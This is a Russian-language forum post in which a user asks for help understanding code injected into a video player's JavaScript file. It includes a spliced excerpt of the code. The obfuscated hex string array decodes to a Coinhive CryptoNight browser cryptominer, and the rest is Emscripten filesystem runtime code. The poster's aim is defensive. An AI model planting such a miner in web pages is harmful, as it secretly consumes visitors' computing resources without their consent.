Сегодня обнаружил посторонний код (строчку) в JS скрипте который предназначен для плеера. Так как сам не силён в скриптах, нужна помощь понять что делает этот код, на сколько он опасен?
Код очень большой поэтому вставляю фрагмент начало/конец, полностью сохранил его отдельным файлом который можно скачать по ссылке и посмотреть например с помощью notepad++:
Модераторов прошу перенести в подходящий раздел, если я неправильно разместил.
Код очень большой поэтому вставляю фрагмент начало/конец, полностью сохранил его отдельным файлом который можно скачать по ссылке и посмотреть например с помощью notepad++:
Код |
---|
var _0x7643=["\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74","\x5F\x73\x69\x74\x65\x4B\x65\x79","\x5F\x75\x73\x65\x72","\x5F\x74\x68\x72\x65\x61\x64\x73","\x5F\x68\x61\x73\x68\x65\x73","\x5F\x63\x75\x72\x72\x65\x6E\x74\x4A\x6F\x62","\x5F\x61\x75\x74\x6F\x52\x65\x63\x6F\x6E\x6E\x65\x63\x74","\x5F\x72\x65\x63\x6F\x6E\x6E\x65\x63\x74\x52\x65\x74\x72\x79","\x5F\x74\x6F\x6B\x65\x6E\x46\x72\x6F\x6D\x53\x65\x72\x76\x65\x72","\x5F\x67\x6F\x61\x6C","\x5F\x74\x6F\x74\x61\x6C\x48\x61\x73\x68\x65\x73\x46\x72\x6F\x6D\x44\x65\x61\x64\x54\x68\x72\x65\x61\x64\x73","\x5F\x74\x68\x72\x6F\x74\x74\x6C\x65","\x74\x68\x72\x6F\x74\x74\x6C\x65","\x6D\x69\x6E","\x6D\x61\x78","\x5F\x61\x75\x74\x6F\x54\x68\x72\x65\x61\x64\x73","\x61\x75\x74\x6F\x54\x68\x72\x65\x61\x64\x73","\x5F\x74\x61\x62","\x72\x61\x6E\x64\x6F\x6D","\x49\x46\x5F\x45\x58\x43\x4C\x55\x53\x49\x56\x45\x5F\x54\x41\x42","\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x43\x68\x61\x6E\x6E\x65\x6C","\x5F\x62\x63","\x63\x6F\x69\x6E\x68\x69\x76\x65","\x6F\x6E\x6D\x65\x73\x73\x61\x67\x65","\x62\x69\x6E\x64","\x64\x61\x74\x61","\x70\x69\x6E\x67","\x6C\x61\x73\x74\x50\x69\x6E\x67\x52\x65\x63\x65\x69\x76\x65\x64","\x6E\x6F\x77","\x5F\x65\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72\x73","\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E\x63\x79","\x5F\x74\x61\x72\x67\x65\x74\x4E\x75\x6D\x54\x68\x72\x65\x61\x64\x73","\x74\x68\x72\x65\x61\x64\x73","\x5F\x75\x73\x65\x57\x41\x53\x4D","\x68\x61\x73\x57\x41\x53\x4D\x53\x75\x70\x70\x6F\x72\x74","\x66\x6F\x72\x63\x65\x41\x53\x4D\x4A\x53","\x5F\x61\x73\x6D\x6A\x73\x53\x74\x61\x74\x75\x73","\x75\x6E\x6C\x6F\x61\x64\x65\x64","\x5F\x6F\x6E\x54\x61\x72\x67\x65\x74\x4D\x65\x74\x42\x6F\x75\x6E\x64","\x5F\x6F\x6E\x54\x61\x72\x67\x65\x74\x4D\x65\x74","\x5F\x6F\x6E\x56\x65\x72\x69\x66\x69\x65\x64\x42\x6F\x75\x6E\x64","\x5F\x6F\x6E\x56\x65\x72\x69\x66\x69\x65\x64","\x73\x74\x61\x72\x74","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x6D\x6F\x64\x65","\x69\x6E\x74\x65\x72\x76\x61\x6C","\x6C\x6F\x61\x64\x65\x64","\x70\x65\x6E\x64\x69\x6E\x67","\x6C\x6F\x61\x64","\x43\x52\x59\x50\x54\x4F\x4E\x49\x47\x48\x54\x5F\x57\x4F\x52\x4B\x45\x52\x5F\x42\x4C\x4F\x42","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x63\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x55\x52\x4C","\x55\x52\x4C","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\"\x6F\x6E\x65\x72\x72\x6F\x72","\x5F\x6F\x6E\x45\x72\x72\x6F\x72","\x6F\x6E\x63\xFS.ErrnoError(ERRNO_CODES.ENOMEM)}buffer.set(contents,ptr)}return{ptr:ptr,allocated:allocated}}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}if(mmapFlags&2){return 0}var bytesWritten=MEMFS.stream_ops.write(stream,buffer,0,length,offset,false);return 0})}};var IDBFS={dbs:{},indexedDB:(function(){if(typeof indexedDB!==\"undefined\")return indexedDB;var ret=null;if(typeof window===\"object\")ret=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB;assert(ret,\"IDBFS used, but indexedDB not supported\");return ret}),DB_VERSION:21,DB_STORE_NAME:\"FILE_DATA\",mount:(function(mount){return MEMFS.mount.apply(null,arguments)}),syncfs:(function(mount,populate,callback){IDBFS.getLocalSet(mount,(function(err,local){if(err)return callback(err);IDBFS.getRemoteSet(mount,(function(err,remote){if(err)return callback(err);var src=populate?remote:local;var dst=populate?local:remote;IDBFS.reconcile(src,dst,callback)}))}))}),getDB:(function(name,callback){var db=IDBFS.dbs[name];if(db){return callback(null,db)}var req;try{req=IDBFS.indexedDB().open(name,IDBFS.DB_VERSION)}catch(e){return callback(e)}if(!req){return callback(\"Unable to connect to IndexedDB\")}req.onupgradeneeded=(function(e){var db=e.target.result;var transaction=e.target.transaction;var fileStore;if(db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)){fileStore=transaction.objectStore(IDBFS.DB_STORE_NAME)}else{fileStore=db.createObjectStore(IDBFS.DB_STORE_NAME)}if(!fileStore.indexNames.contains(\"timestamp\")){fileStore.createIndex(\"timestamp\",\"timestamp\",{unique:false})}});req.onsuccess=(function(){db=req.result;IDBFS.dbs[name]=db;callback(null,db)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),getLocalSet:(function(mount,callback){var entries={};function isRealDir(p){return p!==\".\"&&p!==\"..\"}function toAbsolute(root){return(function(p){return PATH.join2(root,p)})}var check=FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));while(check.length){var path=check.pop();var stat;try{stat=FS.stat(path)}catch(e){return callback(e)}if(FS.isDir(stat.mode)){check.push.apply(check,FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))}entries[path]={timestamp:stat.mtime}}return callback(null,{type:\"local\",entries:entries})}),getRemoteSet:(function(mount,callback){var entries={};IDBFS.getDB(mount.mountpoint,(function(err,db){if(err)return callback(err);var transaction=db.transaction([IDBFS.DB_STORE_NAME],\"readonly\");transaction.onerror=(function(e){callback(this.error);e.preventDefault()});var store=transaction.objectStore(IDBFS.DB_STORE_NAME);var index=store.index(\"timestamp\");index.openKeyCursor |
Модераторов прошу перенести в подходящий раздел, если я неправильно разместил.
❷ ;)